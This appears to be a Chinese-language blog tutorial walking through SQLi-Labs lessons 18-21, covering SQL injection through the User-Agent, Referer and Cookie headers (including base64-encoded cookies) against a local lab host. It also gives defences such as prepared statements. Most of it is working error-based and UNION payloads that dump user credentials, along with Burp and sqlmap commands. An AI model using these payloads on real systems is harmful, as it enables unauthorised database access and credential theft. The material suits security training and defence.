公司动态
SQL-LABS_Less18-20实战攻略
SQL-LABS Less 18-21 实战攻略HTTP Header 注入进阶一、 Less-18User-Agent 注入初体验1.1 场景分析打开 Less-18http://192.168.43.8/sqli-labs-master/Less-18/页面提示你输入用户名和密码登录。先正常登录试试用户名admin密码admin登录成功后页面显示Your IP ADDRESS is: 192.168.43.8 Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...关键信息页面把你的User-Agent显示出来了这意味着后端很可能把 User-Agent 存进了数据库然后又查出来显示。如果插入的时候没过滤那就有注入点了。1.2 抓包改 User-Agent用 Burp Suite 抓登录请求POST 提交POST /sqli-labs-master/Less-18/ HTTP/1.1 Host: 192.168.43.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Type: application/x-www-form-urlencoded unameadminpasswdadminsubmitSubmit改 User-Agent 试试User-Agent: test发送请求页面报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near test, 192.168.43.8) at line 1分析错误信息多了一个单引号test后面还有192.168.43.8)推测 SQL 语句INSERTINTOxxxVALUES(admin,test, 192.168.43.8)所以闭合方式是单引号闭合 注释掉后面的内容1.3 构造 Payload思路先闭合前面的单引号插入注入语句报错注入and updatexml(1,concat(0x7e,database()),1)注释掉后面的内容--或#但这里有个坑INSERT 语句里不能直接用and得用逗号,分隔字段。正确 PayloadUser-Agent: admin, (select updatexml(1,concat(0x7e,database()),1)), 1解释admin闭合第一个字段的单引号, (select updatexml(...))插入报错注入到第二个字段, 1补齐后面的字段IP 地址那栏发送请求报错显示XPATH syntax error: ~security成功了数据库名是security1.4 继续注入查表名User-Agent: admin, (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1)), 1报错显示XPATH syntax error: ~emails,referers,uagents,users查 users 表的列名User-Agent: admin, (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers)),1)), 1报错显示XPATH syntax error: ~id,username,password查数据只显示一条User-Agent: admin, (select updatexml(1,concat(0x7e,(select concat(username,:,password) from users limit 0,1)),1)), 1报错显示XPATH syntax error: ~Dumb:Dumb1.5 完整注入流程总结步骤Payload结果1. 测试注入点test报错确认有注入2. 确定闭合方式admin, x, x不报错确认闭合3. 查数据库admin, (select updatexml(...,database(),...)), 1security4. 查表名...(select group_concat(table_name) from information_schema.tables where table_schemasecurity)...users等5. 查列名...(select group_concat(column_name) from information_schema.columns where table_nameusers)...username, password6. 查数据...(select concat(username,:,password) from users limit 0,1)...Dumb:Dumb二、Less-19Referer 注入2.1 场景分析Less-19 和 Less-18 基本一样只是注入点从User-Agent换成了Referer。页面登录后显示Your Referer is: http://192.168.43.8/sqli-labs-master/Less-18/2.2 抓包改 RefererBurp Suite 抓包修改 RefererPOST /sqli-labs-master/Less-19/ HTTP/1.1 Host: 192.168.43.8 Referer: test报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near test, 192.168.43.8) at line 1和 Less-18 一模一样闭合方式相同2.3 直接套用 Payload查数据库Referer: admin, (select updatexml(1,concat(0x7e,database()),1)), 1报错显示XPATH syntax error: ~security后面的流程和 Less-18 完全一样不再重复。2.4 User-Agent vs Referer字段含义常见值User-Agent浏览器标识Mozilla/5.0 (Windows NT 10.0...)Referer来源页面http://example.com/previous-page真实场景中的利用User-Agent网站统计系统、日志记录Referer防盗链检测、来源分析三、Less-20Cookie 注入3.1 场景分析Less-20 又升级了注入点在Cookie里。先正常登录用户名admin密码admin登录成功后Burp Suite 看到 CookieCookie: unameadmin页面显示Your Login name: admin3.2 测试注入点刷新页面登录后的页面Burp Suite 抓包改 CookieGET /sqli-labs-master/Less-20/ HTTP/1.1 Host: 192.168.43.8 Cookie: unameadmin报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near admin at line 1分析错误admin→ 多了两个单引号说明查询语句是SELECT ... WHERE usernameadmin闭合方式单引号闭合然后注释掉后面3.3 构造 Payload和前面不同这次是SELECT 语句不是 INSERT可以直接用and、union了测试闭合Cookie: unameadmin --不报错说明闭合成功报错注入查数据库Cookie: unameadmin and updatexml(1,concat(0x7e,database()),1)--报错显示XPATH syntax error: ~security联合查询注入判断列数Cookie: unameadmin order by 3--不报错 → 有 3 列Cookie: unameadmin order by 4--报错 → 只有 3 列查回显位置Cookie: unameadmin union select 1,2,3--页面显示Your Login name: 2 Your Password: 3回显位置是第 2、3 列3.4 注入数据查当前数据库Cookie: unameadmin union select 1,database(),3--显示security查表名Cookie: unameadmin union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity--显示emails,referers,uagents,users查 users 表的数据Cookie: unameadmin union select 1,group_concat(username,:,password),3 from users--显示Dumb:Dumb,Angelina:I-kill-you,Dummy:pssword,...成功拿到所有用户的账号密码3.5 Less-20 总结注入方法适用场景优势报错注入页面显示错误信息快速获取数据库名、表名联合查询页面有数据回显一次性导出大量数据Less-20 的 Cookie 注入是SELECT 语句所以可以用联合查询比 Less 18-19 的 INSERT 语句更灵活。四、Less-21Cookie 注入 base64 编码绕过4.1 场景分析Less-21 在 Less-20 的基础上加了一层编码Cookie 值经过 base64 编码。先正常登录用户名admin密码admin登录成功后Burp Suite 看到 CookieCookie: unameYWRtaW4%3D关键发现YWRtaW4%3D是 URL 编码后的 base64%3D就是解码YWRtaW4→ base64 解码 →admin后端逻辑$cookee$_COOKIE[uname];$cookeebase64_decode($cookee);// 先解码$sqlSELECT * FROM users WHERE username$cookee LIMIT 0,1;// 再查询所以注入点还在但我们的 payload 要先base64 编码才能放进 Cookie4.2 测试注入点直接改 Cookie 试试Cookie: unameadmin不报错因为adminbase64 解码后是乱码不会触发 SQL 语法错误。正确姿势先把 payload base64 编码测试 payloadadmin→ base64 编码YWRtaW4n→ 放入 CookieunameYWRtaW4n发送请求报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near admin at line 1确认有注入4.3 确定闭合方式测试闭合admin) --→ base64 编码YWRtaW4nKSAtLSs→ 放入 CookieunameYWRtaW4nKSAtLSs不报错但页面也没显示内容。再试试admin) #→ base64 编码YWRtaW4nKSAj→ 放入 CookieunameYWRtaW4nKSAj不报错说明闭合方式是) ... #单引号括号闭合4.4 报错注入查数据库原始 payload: admin) and updatexml(1,concat(0x7e,database()),1)# Base64 编码: YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkj 放入 Cookie: unameYWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkj报错显示XPATH syntax error: ~security查表名原始: admin) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1)# Base64: YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSksMSkj Cookie: unameYWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSksMSkj报错显示XPATH syntax error: ~emails,referers,uagents,users4.5 联合查询注入Less-21 也是 SELECT 语句可以用 union判断列数原始: admin) order by 3# Base64: YWRtaW4nKSBvcmRlciBieSAzIw Cookie: unameYWRtaW4nKSBvcmRlciBieSAzIw不报错 → 有 3 列原始: admin) order by 4# Base64: YWRtaW4nKSBvcmRlciBieSA0Iw Cookie: unameYWRtaW4nKSBvcmRlciBieSA0Iw报错 → 只有 3 列查回显位置原始: admin) union select 1,2,3# Base64: YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLDMj Cookie: unameYWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLDMj页面显示Your Login name: 2 Your Password: 3导出所有用户数据原始: admin) union select 1,group_concat(username,:,password),3 from users# Base64: YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSwzIGZyb20gdXNlcnMj Cookie: unameYWRtaW4nKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSwzIGZyb20gdXNlcnMj显示Dumb:Dumb,Angelina:I-kill-you,Dummy:pssword,...成功4.6 base64 编码小技巧在线编码https://www.base64encode.org/https://tool.oschina.net/encrypt?type3命令行编码# Linux / macOSecho-nadmin) union select 1,2,3#|base64# Windows PowerShell[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(admin) union select 1,2,3#))Burp Suite 插件Decoder 标签 → 输入 payload → Encode as Base64右键 → Send to Decoder → 自动编码4.7 Less-21 总结对比项Less-20Less-21注入点Cookie (uname)Cookie (uname)编码无base64 编码闭合方式admin #admin) #多了括号注入方法报错/联合查询报错/联合查询难度★★★☆☆★★★★☆关键点发现 Cookie 值是 base64 编码 → 先解码看看是什么构造 payload 后必须 base64 编码再发送闭合方式变了多了括号需要重新测试五、HTTP Header 注入防御4.1 为什么会有这种注入开发者常见错误// Less-18 的源码简化版$uagent$_SERVER[HTTP_USER_AGENT];$sqlINSERT INTO uagents VALUES ($username, $uagent, $ip);mysql_query($sql);问题$_SERVER[HTTP_USER_AGENT]直接拼接到 SQL 语句没有任何过滤或转义4.2 正确的防御方法1. 预编译语句最安全$stmt$pdo-prepare(INSERT INTO uagents VALUES (?, ?, ?));$stmt-execute([$username,$uagent,$ip]);2. 转义特殊字符$uagentmysql_real_escape_string($_SERVER[HTTP_USER_AGENT]);3. 白名单过滤// Referer 只允许特定域名if(strpos($_SERVER[HTTP_REFERER],trusted-domain.com)false){die(Invalid referer);}4. 不要盲目信任 HTTP HeaderUser-Agent、Referer、Cookie 都是用户可控的和 URL 参数一样危险5. 对编码后的数据也要防护// Less-21 的正确写法$cookee$_COOKIE[uname];$cookeebase64_decode($cookee);// 解码后仍需预编译或转义$stmt$pdo-prepare(SELECT * FROM users WHERE username? LIMIT 0,1);$stmt-execute([$cookee]);六、实战技巧总结6.1 Less 18-21 对比关卡注入点SQL 语句类型闭合方式编码注入方法Less-18User-AgentINSERTadmin, ..., 1无报错注入Less-19RefererINSERTadmin, ..., 1无报错注入Less-20CookieSELECTadmin #无报错/联合查询Less-21CookieSELECTadmin) #base64报错/联合查询6.2 INSERT vs SELECT 注入的区别INSERT 语句Less 18-19不能用and、or、union只能用报错注入Payload 格式field1, (injection), field3SELECT 语句Less 20-21可以用and、or、union、order by报错注入、联合查询、布尔盲注都行Payload 格式admin and/union ...#6.3 编码绕过的思路常见编码方式base64Less-21admin→YWRtaW4URL 编码admin→admin%27十六进制admin→0x61646d696eUnicode 编码→发现编码的方法看 Cookie 值是否像乱码如YWRtaW4很可能是 base64尝试 base64 解码看看用 Burp Suite 的 Decoder 多试几种编码绕过思路后端先解码再拼接 SQL我们的 payload 要先编码让它解码后才是注入语句有时候需要双重编码先 base64 再 URL 编码6.4 Burp Suite 使用技巧快速修改 HeaderProxy → Intercept → 抓到包后右键 → Send to RepeaterRepeater 里改 User-Agent / Referer / Cookie点 Send 发送看 Response批量测试Send to Intruder选中 User-Agent 的值 → Add §Payloads 里加入注入语句列表Start Attack 批量发送Decoder 编码Decoder 标签输入 payload选择 Encode as… → Base64 / URL / Hex七、真实场景的思考7.1 这种注入常见吗非常常见日志系统记录 User-Agent 到数据库统计系统记录 Referer 分析流量来源会话管理Cookie 存用户名/ID然后查库防刷机制记录 IP User-Agent 判断是否机器人7.2 如何挖掘1. 找需要登录的功能登录后的页面可能会记录 User-Agent留言板、评论系统可能记录 IP 和 User-Agent2. 测试所有 HeaderUser-AgentRefererX-Forwarded-For代理IPCookieX-Real-IPCF-Connecting-IPCloudflare3. 看错误信息改 Header 后如果报 SQL 错误基本就有注入4. 注意编码Cookie 可能 base64 编码有些系统对 Header 做 URL 解码尝试多种编码组合7.3 SQLMAP 能跑吗能但要指定注入点Less-18User-Agentsqlmap-uhttp://192.168.43.8/sqli-labs-master/Less-18/\--dataunameadminpasswdadminsubmitSubmit\--headersUser-Agent: *\--dbsLess-20Cookiesqlmap-uhttp://192.168.43.8/sqli-labs-master/Less-20/\--cookieunameadmin*\--dbsLess-21Cookie base64sqlmap-uhttp://192.168.43.8/sqli-labs-master/Less-21/\--cookieuname*\--tamperbase64encode\--dbs注意*标记注入点--tamperbase64encode自动 base64 编码 payload八、总结SQL 注入不只在 URL 参数里HTTP HeaderUser-Agent、Referer、Cookie也能注入任何用户可控的输入都可能是注入点INSERT 和 SELECT 注入的区别INSERT 只能用报错注入Payload 格式特殊SELECT 可以用联合查询更灵活编码绕过base64、URL 编码等是常见的绕过手段构造 payload 前要先判断是否有编码Burp Suite 的 Decoder 是好帮手Burp Suite 的重要性HTTP Header 注入必须用抓包工具浏览器地址栏改不了 User-Agent 和 Referer防御要全面不只过滤 GET/POST 参数HTTP Header 也要转义或用预编译解码后的数据仍需防护免责声明本文仅用于授权渗透测试和安全学习请勿用于非法用途。